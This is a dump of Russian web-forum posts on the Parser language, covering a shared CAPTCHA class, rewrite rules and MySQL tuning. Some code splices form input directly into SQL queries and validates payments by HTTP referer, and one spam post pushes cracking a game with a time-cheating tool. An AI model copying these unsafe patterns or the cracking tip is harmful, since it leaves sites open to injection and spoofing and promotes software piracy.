"29218","В продолжение http://www.parser.ru/forum/?id=25379 - дошли руки переписать код. Держите, мож кому пригодится.\
\
[b]verify.p[/b] - положите куда-нибудь в $CLASS_PATH[code]##############################\
# В этот класс вынесен код, отвечающий за отрисовку проверочной картинки\
# (цифры с которой пользователь должен считать и ввести в форму, чтобы сайт\
# удостоверился, что имеет дело не с роботом, а с человеком).\
#\
# Это довольно эффективный механизм защиты от спамерских программ a la'\
# \"Разместите свою рекламу в 10000 форумах Рунета одним кликом мыши\".\
# и вандализма (несколько тысяч матерных записей в guestbook, добавленных\
# скриптом). От добавления спама и мата вручную разными [..censored..] \
# это решение не спасёт, но жизнь в целом несколько проще уж точно сделает.\
#\
#	### SQL-код для создания таблицы для работы класса в БД: ###\
#	CREATE TABLE cityblog_humancheck (\
#	  guid char(64) NOT NULL default '',\
#	  digits char(10) NOT NULL default '',\
#	  created datetime NOT NULL default '',\
#	  expires datetime default NULL,\
#	  PRIMARY KEY  (guid),\
#	  UNIQUE KEY guid (guid)\
#	) COMMENT='Stores codes of images used\
#	  to prevent automated spamming';\
#\
\
@CLASS\
verify\
\
##############################\
# Генерирует случайное число, вносит его в базу и выводит картинку:\
@create[delay] \
\
# Параметр delay определяет, сколько минут будет \
# действителен сгенерированный код (если 0 - вечно).\
# По умолчанию - 10 минут.\
\
$delay(^delay.int(10))\
$humancheck_uuid[^math:uuid[]]\
\
# Пятизначное число, которое мы должны вывести картинкой:\
$random(^math:random(99999))\
$humancheck_fivedigits[^random.format[%05u]]\
\
^MAIN:dbconnect{\
#	Вносим только что сгенерированное число в базу:\
	^void:sql{INSERT INTO cityblog_humancheck \
	(guid, digits, created, expires) \
	VALUES(\"$humancheck_uuid\",\"$humancheck_fivedigits\", NOW(), \
		^if($delay != 0){\
			DATE_ADD(NOW(), INTERVAL $delay MINUTE)\
		}{\
			NULL\
		}	\
	) }\
}\
\
##############################\
# Сравнивает введённое пользователем и хранящееся в базе:\
@compare[uuid;input]\
\
# Если число не пятизначное, дорисовываем недостающие нули в начале:\
$input(^input.int(0))\
$input[^input.format[%05u]]\
\
^MAIN:dbconnect{\
#	Сначала вычищаем просроченные строки:	\
	^void:sql{DELETE FROM cityblog_humancheck \
	WHERE expires != \"\" AND expires < NOW()}\
#	Сравниваем введённое значение с хранящимся в базе:\
	$correct[^string:sql{SELECT digits FROM \
	cityblog_humancheck WHERE guid = \"$uuid\" \
	AND expires > NOW() }[$.limit(1) $.default{}]]\
	^if($correct ne \"\"){\
		^if($correct eq $input){\
			Правильно! <!-- Пользователь верно \
			прочитал цифру, разрешаем \
			ему действие. -->\
		}{\
			Ошибочка вышла или вы долго думали! <!-- Либо\
			посетитель слепой, либо опечатался. Надо дать \
			ему ещё один шанс - но уже с новой картинкой. \
			Нельзя давать возможность перебрать все варианты\
			цифры, сопоставленной одному и тому же uuid - \
			пусть в каждой попытке пользователь будет \
			сталкиваться с новой картинкой. -->\
		}		\
	}{\
		Кыш, хакер! <!-- Вася-кулхакер пытается взломать \
		нас, манипулируя полями формы или пытается повторно\
		воспользоваться отработавшим uuid'ом. Посылаем\
		Васю на фиг - пущай ломает кого-то другого, \
		тут ему ничего не светит. -->\
	}\
	\
#	Больше эту строку использовать будет нельзя:	\
	^void:sql{DELETE FROM cityblog_humancheck WHERE guid = \"$uuid\"}\
}\
\
##############################\
# Пример вывода формы:\
@example[]\
\
^if(def $form:uuid && def $form:input){\
	<h3>^compare[$form:uuid;$form:input]</h3>\
	<p><a href=\"./\">Попробуем ещё?</a></p>\
}{\
#	Генерируем число и пишем его в базу на пять минут:\
	^create[5]\
#	(если бы мы защищали форум или гестбук, где на написание реплики\
#	может уйти много времени, имело бы смысл дать пользователю запас\
#	времени побольше)	\
	<p>Докажите, что вы - не робот, прочитайте цифры <br />\
	на картинке <img src=\"./uuid_${verify:humancheck_uuid}.gif\"\
	width=\"110\" height=\"24\" border=\"1\" alt=\"Докажи, что ты не робот!\" />\
	и введите их в поле:</p>\
	<form action=\"./\">\
		<input type=\"hidden\"	name=\"uuid\"		\
			value=\"$verify:humancheck_uuid\" />\
		<input type=\"text\"		name=\"input\" \
			maxlength=\"5\" size=\"5\" />\
		<input type=\"submit\"	value=\"Сравнить!\" />\
	</form>\
}\
\
\
##############################\
# Выводит заданное число в виде картинки\
@DisplayImage[uuid]\
\
# Размер мини-картинок с цифрами: 20 х 20px, т.е.\
# пятизначное число картинкой будет занимать 20 на 20*5\
$background[^image::create(100;20)] \
\
# Если имеет место мухлёж, и $uuid не задан, будет выведена \
# просто пустая картинка (фон без цифр):\
\
^try{\
\
	^MAIN:dbconnect{\
#		Вытягиваем цифры для вывода на картинке из базы по uuid:\
		$check[^string:sql{SELECT digits FROM cityblog_humancheck\
		WHERE guid = \"$uuid\"}[$.limit(1)]]\
	}\
\
#	Предполагается, что мини-картинки имеют названия\
#	$img_path/XY.gif, где X - номер на картинке, а Y -\
#	вариант (00 может быть курсивным ноликом, 01 - жирным)\
#	Число может быть представлено любой картинкой, чтобы\
#	затруднить распознавание автоматическими средствами.\
\
	$digit1[^check.mid(0;1)]\
	$digit2[^check.mid(1;1)]\
	$digit3[^check.mid(2;1)]\
	$digit4[^check.mid(3;1)]\
	$digit5[^check.mid(4;1)]\
\
#	Путь к папке с картинками:\
	$img_path[/noise]\
\
	$file1[^image::load[$img_path/fs^math:random(9)${digit1}.gif]]\
	$file2[^image::load[$img_path/fs^math:random(9)${digit2}.gif]]\
	$file3[^image::load[$img_path/fs^math:random(9)${digit3}.gif]]\
	$file4[^image::load[$img_path/fs^math:random(9)${digit4}.gif]]\
	$file5[^image::load[$img_path/fs^math:random(9)${digit5}.gif]]\
\
#	Накладываем на фон все пять картинок:\
\
	^background.copy[$file1](0;0;23;24;^eval(0*20);0) \
	^background.copy[$file2](0;0;23;24;^eval(1*20);0) \
	^background.copy[$file3](0;0;23;24;^eval(2*20);0) \
	^background.copy[$file4](0;0;23;24;^eval(3*20);0) \
	^background.copy[$file5](0;0;23;24;^eval(4*20);0) \
\
}{\
	$exception.handled(1)\
}\
\
$response:body[^background.gif[]]\
\
#EOF[/code]\
\
Создайте папку noise, вывалите в неё картинки из http://bougakov.com/misc/noise.zip\
Создайте файл [b].htaccess[/b][code]# Запрещаем открывать картинки fs*.gif из этой папки в браузере:\
<Files ~ \"fs(.*)\\.gif$\">\
	Order allow,deny\
	Deny from all\
</Files>\
\
# Простенький rewrite для переадресации запросов к img_digits.html\
RewriteEngine on \
RewriteRule uuid_(.*)\\.gif$  img_digits.html?uuid=$1 [L]\
\
# EOF[/code]и файл [b]img_digits.html[/b]:[code]@USE\
verify.p\
\
@main[]\
^verify:DisplayImage[$form:uuid][/code]\
\
Создайте [b]/noise/index.html[/b] с текстом:[code]@USE\
verify.p\
\
@main[]\
^verify:example[][/code]\
\
и добавьте в текущую БД новую таблицу:[code]CREATE TABLE cityblog_humancheck (\
	  guid char(64) NOT NULL default '',\
	  digits char(10) NOT NULL default '',\
	  created datetime NOT NULL default '',\
	  expires datetime default NULL,\
	  PRIMARY KEY  (guid),\
	  UNIQUE KEY guid (guid)\
	) COMMENT='Stores codes of images used\
	  to prevent automated spamming';[/code]\
\
Энджой."
"29219","Если порядок строк неважен, то в меню-файл-сортировка есть опция удалять копии(remove duplicates)\
Если порядок важен, то можно попробовать добавить в нвчало каждой строки autoincrement(номер), перейти в колонный режим, сделать сортировку с удалением по основной колонке, сорт. по номеру и удалить его"
"29221","Я думал над этим вопросом, но не очень предствляю процесс. \
В России реселлеров нету и карточки у меня нету..."
"29222","мне помимо того что оно удаляет, так же из текста надо удалить пробелы которые могут встретися после знака переноса(энтэра)"
"29223","Rewrite мне нужен для построения протой систему ЧПУ, я уже задавал подобный вопрос мне посоветовали вот это:\
http://www.parser.ru/forum/?id=25376\
Но при использовании такого варианта происходит вышеописанная проблема, что делать я не знаю.\
\
А поиск по форуму не помог, все ответы касаются этой темы только немного."
"29224","Что Вы делаете:\
Преобразуете все URL в index.html\
Это именно так, ибо $ (aka конец строки) есть у любого URL\
\
Что Вы хотите:\
Явно не это, а что-то типа:\
1. Преобразовывать все директории не трогая файлы\
2. Преобразовывать все несуществующий файлы\
3. Преобразовывать все текстовые файлы\
\
Что же нужно:\
1. Понять, что первый параметр RewriteRule является регулярным выражением\
2. Понять, что именно надо преобразовывать (1, 2 или 3 или что еще)\
3. Понять, по какому признаку можно однозначно определить \"то или не то\" (намёки: не содержит точки, оканчивается на /, оканчивается на .gif или .html и т.д.)\
4. Понять, что помимо RrewriteRule есть еще и RewriteCond, с помощью которого можно отсечь/выделить нужное под преобразование, дабы использовать простейший regexp в RewriteRule\
5. Собственно написать этот reqexp и предварить его нужными кондициями."
"29225","Только на всем сайте нет ни одного auto.p, ну кроме в cgi-bin который, специяльно все удалил"
"29227","P.S. да уж... в своем собственном коде люди второй день не могут найти строки, которые сами же и написали..."
"29228","Картинка ломается в 2 движения. Смещаются уровни (осветляются серые тона), и делается автоконтраст. И ваши цифири видны как на ладони. Останется только перевести картинку в 300 точек на дюйм и распознать.\
В штатах на взлом подобных номеров выплачивоют от 3 до 10 килобаксов. За эти деньги до такой простой технологии додуматься несложно.\
\
Да и собственно для банальной гостевой номера считаю лишними. Лучше уж тогда авторизацию поставить с подтверждением."
"29229","как это сделали у нас(в далеко не столичном городе):\
на контору заведена одна Виза, если ктого-то приперло что-то купить, она идет и переводит бабки на нее, потом просто указывает реквизиты этой карты и все.\
что мешает вашей компании(или нескольким челам) так скинутся? ИМХО- ничего.\
\
считаю  вести этот тред дальше - нет смысла"
"29231","На https сервере есть терминал приёма платежей с кредиток.\
После успешной оплаты терминал возвращает пользователя на некоторую страницу на сайте продавца. На этой странице происходит обработка данных формы, присланных терминалом. Для проверки валидности пользователя смотрим откуда он пришел (HTTP_REFERER). Но вот беда, значение HTTP_REFERER - пустое. \
Вариант кода на Перл показывает обратное.\
\
Используется PARSER 2 и ^env[HTTP_REFERER], но, полагаю, это без разницы, поскольку тесты на PARSER 3 показывают аналогичный результат.\
\
В чём загвоздка?\
Спасибо!"
"29233","кто-то из компании купил членство на сайте и поставил там галочку \"автоматик репэй\".\
Вся контора исправно оплачивает его членство :))))"
"29234","Почему запрос возвращает пустые данные\
колумн с идентификатором есть а строк нету?\
Простейший запрос!\
SELECT code, descr from sc55 for xml auto."
"29235","[code]\
@main[]\
<h1>Payment's result</h1>\
\
# здесь ничего не отображается\
^env[HTTP_REFERER]\
\
^ifdef[^match[2checkout.com;i;^env[HTTP_REFERER]];\
^eq[^form[credit_card_processed];Y;\
	<img src=https://www.fineclicks.com/fc2/sale.cfm?pid=1551&am=^form[total]&order=cardholder_^form[card_holder_name]_product_^form[product_id]_order_^form[order_number] width=1 height=1 border=0>\
	<p>Your payment went through</p>\
	;\
	<p>Sorry, your payment didn't go through. Please try to make it again.</p>\
	];\
	<p>Sorry, we accept payments from 2checkout.com only.</p>\
]\
]\
[/code]"
"29236","это env ничего не возвращает?\
или match?"
"29237","Ломают все. Что может послужить защитой должного уровня?\
Куки? Реферер? Подтверждение?\
Для человека разбирающегося в технологиях и читающего \"эрэфси\"....\
Вопрос снят."
"29238","Спамерство - это \"free-rider problem\" в терминах классической экономической теории (или \"проблема зайца\" или \"проблема переноски бревна\" ;-) - когда десять человек несут бревно, одному умнику достаточно просто [i]держаться[/i] за бревно, которое несут [i]другие[/i]). Спамеры - как раз такие умники, они пытаются паразитировать на недостатках инфраструктур, благодаря своим очень низким издержкам. \
\
Как только мы делаем затраты на спам [i]чуть больше[/i] - мы отсекаем сразу очень много паразитов. \"Много\" не значит \"всех\" - но и то хлеб. Никто не спорит, что можно принапрячь FineReader или нищего студента, и перепрыгнуть и этот заборчик, но для кого-то эти издержки скушают прибыль и сделают автоматизированный спам моего форума нецелесообразным."
"29239","Напишите простейший perl-скрипт, который будет только и делать что выводить значение HTTP_REFERER (можно взять стандартный printenv.pl)\
Назовите его parser3.cgi и положите вместо парсера.\
Зайдите с нужного сайта на нужный.\
Покажите результаты.\
\
Да, расскажите до кучи, что у вас за система такая: версии OS, Apache, Parser и прочия."
"29240","env"
"29242","^macro[server_connect;\
		^sql[insert into documents set firstpage=\"^ifdef[^form[firstpage];1;0]\", sendingout=\"^ifdef[^form[so];1;0]\", active=\"^ifdef[^form[active];0;1]\", ^eq[$link_id;0;link_id=null;link_id=\"$link_id\"], date=\"^form[date]\", type_id=\"$type_id\", lang_id=\"$lang_id\", forum_id=\"^var[max_id]\", fix=\"^ifdef[^form[f];^form[f];0]\", body=\"^menu[^macro[del_space;^item[0]];\
		]\"]\
\
вы это имели ввиду???"
"29244","Вы в своем методе @del_space используете метод ^match[параметры]\
@del_space[text]\
^match[\\.[ ]+\\|[ ]*;g;\\.\\|;$text]\
\
и абсолютно непонятно что это за параметры.\
Если построить догадку... то должно быть так:\
\
\\.[ ]+\\|[ ]* - это то что пытаемся отловить\
g - метод поиска\
\\.\\| - чем пытаемся заменить.\
$text - текст который нужно кастрировать\
\
Итак ваше поисковое выражение в человеческом языке звучит так. \
\
Найти точку, после которой стоит один или несколько пробелов, затем символ прямая черта и в конце снова ноль или несколько пробелов.\
\
Выражение замены вообще неправильно. Оно как минимум должно быть таким .| \
\
Обозначте проблему, что имеете, что хотите получить, и что получаете вместо этого. Тогда получите ответ, а так пытайтесь разобраться в том что уже написал."
"29245","Поэтому многие форумодержатели предлагают регистрироваться, для того чтобы иметь право черкнуть пару строк.\
Мне бы просто было лень писать в форум, в котором предлагают еще и номера вводить.\
Для отправки СМС, понимаю, оправдано. Но для форума и гостевой? непонимаю..."
"29246","Пардон что вмешиваюсь, но на самом деле при распознавании любой подобной картинки хотя бы с точностью, скажем 70 процентов, не хватит не только 2 но и 5-15 движений. А их надо сделать. А что касается перевода. точнее интерполяции до 300 dpi - попробуйте в фотошопе, и маловероятно что то что получится что-то Fine Readable. \
К тому же картини можно разные делать - в том числе рисовать не только ручками но и мозгами. Что приведет к таким издержкам, что любой спамер/автоматчик десять раз отвалит.\
А основа метода очень даже хороша, если не на спамерах концентрироваться...."
"29247","Лень лишний раз регистрироваться, и подтверждать регистрацию по email, а пять циферок перепечатать - нет проблем..."
"29248","я-б замудохался набирать циферки для каждого публикуемого мной тут сообщения :))))\
\
думаю все-таки обе ситуации имеют право на жизнь: если зарегистрировался и залогинился - долой цицерки. если не регистрировался и хочешь написать одно сообщение (у меня такое бывает) - действительно, регистрацию нафиг - достаточно вбить циферки."
"29249","Изучив доки с www.egoroff.spb.ru вопросов не убавилось а прибавилось. Поэтому большая просьба подскажите как сделать следующее, если можно с объяснениями:\
\
на сервере находиться файл который обрабатывает строку запроса.\
мне надо чтоб в строке запроса было что то типа www.site.ru/forum/\
физического каталога /forum/ нет. Как это сделать ? Или это вообще бессмысленно ?\
\
P.S Всем откликнувшимся заранее спасибо."
"29252","[code]\
RewriteEngine on\
RewriteRule	^([a-zA-z_]+)([\\/]?)$	/?module=$1	[L]\
[/code]\
\
Юзер приходит по /site.ru/news/, а ему показывается страница /site.ru/?module=news. проще говоря, как мне на днях объяснял Рома Бобчинский:\
[code]\
RewriteRule  ^что-в-строке-у-юзера$     куда-его-послать\
[code]"
"29253","Б[b]а[/b]бчинский :) \
\
Если нужно только /forum/ - то лучше:\
[code]\
RewriteEngine on\
RewriteRule	^/forum([\\/]?)$	/YOURPAGE.HTML?module=forum   \
[/code]\
\
А может просто создать-таки папку /forum/ и кинуть туда index.html?\
Ведь запросы \
[code]\
www.site.ru/forum/?zlo=yes \
www.site.ru/forum/index.html?zlo=yes \
[/code]\
означают одно и тоже без всяких RewriteRule'ов..."
"29254","На сайт необходимо добавить возможность получения пользователем варианта для печати.\
Страницы генерируются: \
XML + XSL = HTML\
\
Вижу 2 пути:\
\
[b]Вариант 1.[/b]\
Сделать XSL-ку в к-рой просто не отображать элементы навигации.\
Это путь очень простой в реализации, результат - .html.\
\
[b]Вариант 2.[/b]\
Генерировать из XML-ек страницу .rtf или .pdf\
Этот путь, видимо, посложнее, но зато интереснее в реализации и в результате обычные офисные документы.\
Но не знаю пока как к этому варианту подступиться.\
\
Прошу выразить мнение по 3м вопросам:\
[i]\
1. Какой вариант на Ваш взгляд правильнее ?\
2. Как можно реализовать вариант 2 ?\
3. Какие еще могут быть варианты ?\
[/i]"
"29255","У меня была нужда отдавать на печать большую таблицу. Отдавал обычный html с прописаными стилями, сказав что \
[code]\
$response:content-type[application/vnd.ms-excel]\
[/code]\
Замечательно работало."
"29256","Самый \"дешевый\" вариант - сделать отдельные стили для экранной и печатной версии."
"29257","Т.Е. будет создаваться уникальная картинка с уникальным беграундом из цифр скажем бледно синего цвета и набиваться код из яркокрасных цифр? Файнридер в этом случае будет распознавать все цифры... Т.е. только человек-не дальтоник будет видеть картинку и отличать красные цифры от бледносиних...."
"29258","Скачал самую новую версию парсера -- ошибка исчезла. Ура.\
\
(Вы это сразу поняли и мне не говорили из дидактических соображений? :)"
"29259","$dir[^file:dirname[$file[]]]\
Откуда эта точка: \"$dir\"?\
--\
Parser 3.1.2"
"29261","Надо загрузить картинку и превьюшку одной формой, присвоив им одинаковое имя в разных папках. Превьюшку невозможно сделать на сервере с помощью imagemagic - хостер не ставит библиотеки. Проблема: вторая строчка вида ^form:Image.save[binary;/gal/${last}.^file:justext[$form:Image.name]]вызывает ошибку типа \"не определен метод save\""
"29262","есть форум построенный на примере http://www.parser.ru/examples/trees/\
стоит следующая задача.\
Необходимо получит заголовок сообщения на который был последний ответ.\
Делаю так.\
[code]\
$res[^int:sql{select max(forum_message_id) from forum_message}]\
$res[^int:sql{select thread_id from forum_message where forum_message_id = $res}]\
$last_edit[^table::sql{select title from forum_message where thread_id = $res}]\
[/code]\
\
подскажите пожалуйта как это сделать по лучше"
"29263","Не понятно, зачем нужно три запроса к одной таблице.\
[code]\
$res(^int:sql{select max(forum_message_id) from forum_message})\
$last_edit[^table::sql{select title from forum_message where forum_message_id = $res}]\
[/code]"
"29264","и как я понимаю без тут надо все три запроса"
"29265","..чтобы буквы лежали на боку?"
"29266","Нет, я про то, что ненужные слои можно скрыть при печати.\
\
Примеры - www.lycos.com & www.experiment.ru"
"29267","Помойму можно так... Но мне почему-то не нравиться, сам не знаю почему... :(\
[code]\
#$res[^int:sql{select max(forum_message_id) from forum_message}]\
$res[^int:sql{select thread_id from forum_message where forum_message_id = max(forum_message_id)}]\
$last_edit[^table::sql{select title from forum_message where thread_id = $res}]\
[/code]"
"29268","Я как полагаю, что происходит пересечение двух классов, image и file. У объекта класса image нет метода save.\
Попробуйте назвать поле не Image, а скажем img возможно проблема решится."
"29269","скачай ipool крякни обманам времени datafuck.exe и играйте в пул со всем миром (ipool  и  datafuck- поиском ! )"
"29270","Имеется 5 таблиц:\
\
[code]\
movie - таблица с информацией о фильмах\
genre - таблица жанров\
person - таблица с актерами\
movie_to_genre - к каким жанрам принадлежит фильм\
movie_to_person - кто снимался в фильме\
[/code]\
\
[code]\
#\
# Table structure for table 'genre'\
#\
\
CREATE TABLE genre (\
  genre_id int(10) NOT NULL auto_increment,\
  title varchar(255) binary NOT NULL default '',\
  PRIMARY KEY  (genre_id),\
  UNIQUE KEY ix_genre_1 (title),\
  KEY ix_genre_0 (genre_id)\
) TYPE=MyISAM;\
\
\
\
#\
# Table structure for table 'movie'\
#\
\
CREATE TABLE movie (\
  movie_id int(10) NOT NULL auto_increment,\
  eng_name varchar(255) default NULL,\
  rus_name varchar(255) binary NOT NULL default '',\
  issue_year year(4) NOT NULL default '0000',\
  site varchar(255) default NULL,\
  length int(3) default NULL,\
  size varchar(255) default NULL,\
  shrt_description text,\
  preview_id int(10) default NULL,\
  poster_id int(10) default NULL,\
  PRIMARY KEY  (movie_id),\
  KEY ix_movie_0 (movie_id),\
  KEY ix_movie_1 (rus_name),\
  KEY ix_movie_2 (eng_name),\
  KEY ix_movie_3 (issue_year)\
) TYPE=MyISAM;\
\
\
#\
# Table structure for table 'movie_to_genre'\
#\
\
CREATE TABLE movie_to_genre (\
  movie_id int(10) NOT NULL default '0',\
  genre_id int(10) NOT NULL default '0',\
  UNIQUE KEY ix_movie_genre_0 (movie_id,genre_id),\
  KEY ix_movie_genre_2 (movie_id),\
  KEY ix_movie_genre_1 (genre_id)\
) TYPE=MyISAM;\
\
\
\
#\
# Table structure for table 'movie_to_person'\
#\
\
CREATE TABLE movie_to_person (\
  movie_id int(10) NOT NULL default '0',\
  person_id int(10) NOT NULL default '0',\
  status tinyint(4) NOT NULL default '0',\
  UNIQUE KEY ix_movie_to_person_0 (movie_id,person_id,status),\
  KEY ix_movie_to_person_3 (status),\
  KEY ix_movie_to_person_1 (movie_id),\
  KEY ix_movie_to_person_2 (person_id)\
) TYPE=MyISAM;\
\
\
\
#\
# Table structure for table 'person'\
#\
\
CREATE TABLE person (\
  person_id int(10) NOT NULL auto_increment,\
  eng_name varchar(255) default NULL,\
  rus_name varchar(255) binary default NULL,\
  PRIMARY KEY  (person_id),\
  UNIQUE KEY ix_person_1 (rus_name),\
  UNIQUE KEY ix_person_2 (eng_name),\
  KEY ix_person_0 (person_id)\
) TYPE=MyISAM;\
[/code]\
\
Необходимо сделать поиск по Актерам. Запрос выглядит так:\
[code]\
	SELECT\
		movie.movie_id as id,\
		movie.rus_name,\
		movie.issue_year,\
		movie.shrt_description,\
		IF(movie_to_genre.genre_id,0,1) as genre_not_define\
	FROM\
		movie\
	^MAIN:pSQL.left_join[from;movie_to_genre;movie.movie_id = movie_to_genre.movie_id]\
	^if(def $data.person){\
		^MAIN:pSQL.left_join[from;movie_to_person;movie.movie_id = movie_to_person.movie_id]\
		^MAIN:pSQL.left_join[from;person;movie_to_person.person_id = person.person_id]\
	}\
	WHERE\
		^if(def $data.person){\
			(\
				^MAIN:pSQL.lower[person.rus_name] like '%^data.person.lower[]%' OR\
				^MAIN:pSQL.lower[person.eng_name] like '%^data.person.lower[]%'\
			) AND\
		}\
			(\
				^if(^check_right(2)(8)){IF(movie_to_genre.genre_id,1,0) = 0 OR}\
				IF(movie_to_genre.genre_id,1,0) = 1\
			)\
		}\
	GROUP BY\
		movie.movie_id\
	ORDER BY\
		movie.rus_name ASC,\
		movie.issue_year DESC\
[/code]\
\
Это сокращенный запрос, в полной версии он ищет по году создания фильма, названию, жанрам и т.д.\
\
1) Правильно ли расставленны индексы? (оптимально-ли)\
[i]Просто плохо разбираюсь :( Может подкините материалы для расширения кругозора?[/i]\
\
2) Можно ли оптимизировать поиск по актерам, а то уж очень долго он выполняется, просто ужасно :(\
\
3) Да и вообще что можно оптимизировать? Принимаются любые совета..."
"29271","Незачем мусолить тему, ваш вариант тоже обходится в 2 шага, через color_replace."
"29272","MySQL запрос [code]\
$res[^int:sql{select thread_id from forum_message where forum_message_id = max(forum_message_id)}]\
[/code] непонимает"
"29273","по поводу использования left join: его использовать без необходимости плохо, т.к. он выполняентся значитально медленнее обычного join. если не нужно показывать фильмы. когда ищем по актерам - то надо заменить left join.\
\
подобный like в where - это всегда scan таблицы. индексы использоваться не будут.\
\
от функций в where нужно избавляться. функция будет вычисляться ДЛЯ ВСЕХ строк при выборе. в вашем случае IF(movie_to_genre.genre_id,1,0) = 1 нужно заменить на movie_to_genre.genre_id IS NOT NULL, а в случае, если ^check_right(2)(8) возвращает true вообще убирать из запроса блок после AND. в общем и в перечислении полей IF лучше выкинуть, и проверять парсером не ^if($t.genre_not_define){...}, а ^if(!def $t.genre_not_define){...}\
\
кстати, OR в WHERE это тоже очень плохо, и в подавляющем большинстве случаев индексы не используются.\
\
1) индексы расставлены нормально. но... надо смотреть что по этому поводу думает EXPLAIN.\
2) да. см выше. возможно придется делать совсем разные запросы при поиске с актерами и без оных, или делать несколько запросов.\
3) дока по mysql. читать много, т.к. это не собрано в одном месте доки, но если разобраться то жить становится легче :)"
"29275","есть файл примерно такой структуры, без названий столбцов:\
\
aaa1 bbb1 ccc1 ddd1\
aaa2 bbb2 ccc2 ddd2\
.... .... .... ....\
aaan bbbn cccn dddn\
\
столбцы разделены пробелами\
Как из него сформировать таблицу?\
Вот такой код:\
\
$log[^table::load[nameless;log.txt;$.separator[ ]\
]]\
   ^log.menu{\
   	     $log.0 <br>\
            }\
\
...приводит к тому, что выводятся поочередно все строки таблицы полностью, как обьяснить парсеру, что пробел - это разделитель? Возможности переформатировать исходный файл другими способами нет. Как быть?"
"29276","Неплохая статья [url=http://www.nbsp.ru/articles/13/]Использование индексов в MySQL[/url]\
+\
[quote]Misha:\
3) дока по mysql. читать много, т.к. это не собрано в одном месте доки, но если разобраться то жить становится легче :)\
[/quote]\
\
И все будет впорядке, как у них ;)"
"29277","Т.к spacedelemited => у вас в столбцах не может быть выражений, т.е. несколько слов, идущих через пробел...\
\
Значит делаем так:\
Берем какой-нибудь текстовый редактор и делаем замену всех пробелов на знак табуляции ;) А дальше, я думаю можно догадаться ;)\
\
Удачи!"
"29278","Ты хочешь получить\
[quote]...заголовок сообщения на который был последний ответ.[/quote]\
\
А сам ищешь заголовок сообщения [b]треда[/b] на который был последний ответ, да и то, неправильно ищешь. Потому, что\
[code]$last_edit[^table::sql{select title from forum_message where thread_id = $res}][/code] найдёт у тебя все сообщения треда ;)\
\
\
Сделал, правда в два запроса, но почему-то есть такое чувство, что можно и в 1 уложиться %)\
[code]\
$res[^int:sql{SELECT max(forum_message_id) from	forum_message}[$.default{0}]]\
\
$last_edit[^table::sql{\
SELECT\
	forum_message.title\
FROM\
	forum_message, forum_message as forum_message_tmp\
WHERE\
	forum_message.forum_message_id = forum_message_tmp.parent_id AND\
	forum_message_tmp.forum_message_id = $res}]\
[/code]"
"29279","Я что-то не очень понял ваш 2-ой пункт, почему (для чего/как) нужно использовать разные запросы при поиске по актёрам?\
\
Я сделал так (ривожу только запрос)\
[code]\
	SELECT\
	STRAIGHT_JOIN\
		movie.movie_id as id,\
		movie.rus_name,\
		movie.issue_year,\
		movie.shrt_description,\
		movie.preview_id\
	FROM\
		person, movie_to_person, movie\
	WHERE\
		movie_to_person.person_id = person.person_id AND\
		movie.movie_id = movie_to_person.movie_id AND\
		(\
			^MAIN:pSQL.lower[person.rus_name] like '%^data.person.lower[]%' OR\
			^MAIN:pSQL.lower[person.eng_name] like '%^data.person.lower[]%'\
		)\
	GROUP BY\
		movie.movie_id\
	ORDER BY\
		movie.rus_name ASC,\
		movie.issue_year DESC\
[/code]\
Работает быстрее раз в 7. Правда OR мне тоже не нравиться, но мыслей пока нет :("
"29280","по моему она содержит лишь базовые понятия (причем далеко не полностью), но преподносит их так, будто ничего большего знать об индексах не нужно (и это IMHO плохо)\
\
а судя по вашему вопросу вы или все что описано в статье знали, или очень хорошо скопировали из каких-либо примеров, правильно приспособив для своего случая (что тоже хорошо)."
"29281","Спасибо ;)\
\
Просто я подумал, что у народа тоже могут возникнуть вопросы по постановке индексов, и воспользовавшись поиском они-бы наткнулись на неплохую тстью (для начала), а уж потом и в доке поковыряться не грех ;)\
\
Хотя и до этого тоже можно ;)"
"29282","Что-то без процесса ничего в голову прийти не может\
\
[code]\
#################################################################################################\
@load_and_init[var;data_process_id][data_process]\
\
# нужный кусок хэша\
$data_process[$MAIN:DATA_PROCESS.[$data_process_id]]\
\
^use[$data_process.filename]\
\
$caller.$var[^process{^^${data_process.name}::init[]}]\
#end @load_and_init[]\
[/code]"
"29283","весьма прохладно описАно это в документации. хотелось бы четкости. какие форматы поддерживает image. или только GIF?"
"29285","гхм, гхм. а можно не скромный вопрос? а на основе JPEG?\
четко нигде вот не написАнно: нельзя. а то что нельзя, подразумевается можно."
"29286","Попробуйте изучить operators.txt [ http://cvsview.parser.ru/cgi/viewcvs.cgi/*checkout*/parser3/operators.txt?rev=1.173 ]\
\
[quote]\
\
!image\
  ...\
    !$картинка[^image::measure[DATA]]\
        смотрит на .ext case insensitive, \
        умеет мерить пока только .gif и .jpg .jpeg\
  ...\
    !^image::load[фон.gif]\
        только gif пока\
  ...\
[/quote]\
\
А вообще, не читайте документации, там много всякой ерунды понаписали"
"29289","во первых можно анализировать строку поиска, и при наличии только русских букв искать в rus_name, только английских - в eng_name.\
\
во вторых можно сделать дополнительное избыточное поле search_name куда автоматом прописывать что-нить типа CONCAT(rus_name, '|', eng_name) при апдейте записи, сделать по этому полю индекс ну и искать соответственно по нему-же. а rus_name и eng_name использовать лишь для вывода."
"29290","[url=\"http://mysqlfront.hosting.nl/pub/MySQL-Front_Setup.exe\"]MySQL Front 3.0[/url] build 29.25 (1.3 Mb) - администрирование БД\
пришло с weblinks.ru, линк не проверял, т.к. у меня Линь."
"29292","http://www.parser.ru/forum/?id=20720\
\
В результате все сводится к регистрации в фабрике нужного класса.\
Это хорошо, когда имя класса приходит \"со стороны\" - никто вам не подсунет неизвестное на выполнение..."
"29293","Как писать на гифку двумя разными шрифтами сразу?\
Есть гиф. на него сверху кладем текст, написанный первым шрифтом... буковки-цифрки всякие. \
и на эту же гифку хочу положить еще текст, написанный вторым шрифтом. Может кто подскажет как?"
"29295","гм.. мысль свежа.. а я то сижу туплю =)) пойду пробовать =) спасибо =)"
"29296","Из Окно1 открывается Окно2, из Окно2 открывается Окно3... как сделать так, чтобы приоткрытии Окно3 закрывались Окно1 и Окно2?"
"29297","1. Можно попытаться задать окнам имена и закрыть по именам.\
\
2. Или попросить родительское окно закрыть родительское окно, а затем закрыть и родительское окно ;)\
\
зы Первывый вариант точно возможен, но возможно возникновение дополнительного непредвиденного окна с сообщением, какя-то прога пытается закрыть окно, вы этого хотите?\
\
Второй вариант вероятно делается, но как, незнаю (небыло необходимости изучать вопрос). Плюсами второго вариантя является отсутствие дополнительных окон тк при закрытии родительского(думаю дочернего тоже) окна идиотский вопрос нездаётся."
